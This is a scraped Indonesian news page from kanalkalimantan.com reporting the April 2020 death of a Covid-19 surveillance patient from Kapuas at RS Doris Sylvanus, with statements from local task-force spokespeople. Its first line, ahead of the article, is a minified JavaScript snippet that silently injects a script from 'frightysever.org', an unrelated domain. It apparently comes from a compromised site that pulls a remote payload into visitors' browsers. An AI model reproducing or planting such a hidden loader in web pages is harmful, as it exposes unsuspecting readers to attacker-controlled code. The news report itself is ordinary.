(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

1 PDP Covid-19 Asal Kapuas Meninggal Dunia di RS Doris Sylvanus


KANALKALIMANTAN. COM, KUALA KAPUAS – Seorang pasien dalam pengawasan (PDP) Covid-19 asal Kabupaten Kapuas meninggal dunia di Rumah Sakit Umum Daerah Doris Sylvanus Palangka Raya, Kamis (16/4/2020) pukul 19.15 WIB.

Juru Bicara Gugus Tugas Covid-19 Kabupaten Kapuas, Dr Tri Setya Utami membenarkan ada seorang pasien dalam pengawasan Covid-19 meninggal dunia setelah menjalani perawatan beberapa hari di rumah sakit tersebut.

Dijelaskan, pasien asal Kabupaten Kapuas itu berusia 58 tahun dirawat di RS Doris Sylvanus Palangka Raya, berstatus PDP Covid-19 sejak 13 April 2020 dan menjalani perawatan secara intensif di ruang isolasi sesuai protap penangganan pasien Covid-19.

Pasien sebelumnya pernah menjalani pemeriksaan di Rumah Sakit Kapuas, sebelum dirujuk ke RS Doris Sylvanus Palangka Raya dinyatakan sebagai PDP.

“Kita belum bisa memastikan pasien ini positif Covid-19 karena uji sampel belum keluar dari laboratorium, tapi pasien sudah meninggal dunia. Jenazah pasien PDP sudah dimakamkan di Palangka Raya sesuai SOP penanganan kasus virus corona,” ujar Dr Tri.

Dengan meninggalnya pasien PDP asal Kabupaten Kapuas ini, maka pasien PDP Covid-19 yang meninggal dunia, tercatat menjadi 2 orang. Sedangkan pasien positif terpapar virus corona yang meninggal dunia tercatat 1 orang.

Dengan demikian, sampai saat ini ada 2 orang warga Kabupaten Kapuas yang meninggal. Satu pasien positif Covid-19 yang meninggal dunia dua pekan lalu, adalah cluster Gowa.

Pemerintah Kabupaten Kapuas melalui Juru Bicara Gugus Tugas Covid-19 Kapuas Dr H Junaidi SE SKM MAP M Kes membenarkan hal itu saat Konferensi Pers di Posko Induk Percepatan Penanganan Covid-19, Jum’at (17/4/2020) pagi.

H Junaidi belum bisa memastikan apakah pasien PDP itu masuk dalam daftar tertular virus corona atau tidak. “Untuk tes sampel darah masih harus menunggu hasil dari luar daerah,” jelasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

 


Al Ghifari

Recent Posts

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

12 menit ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

1 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

4 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

5 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

6 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

18 jam ago

This website uses cookies.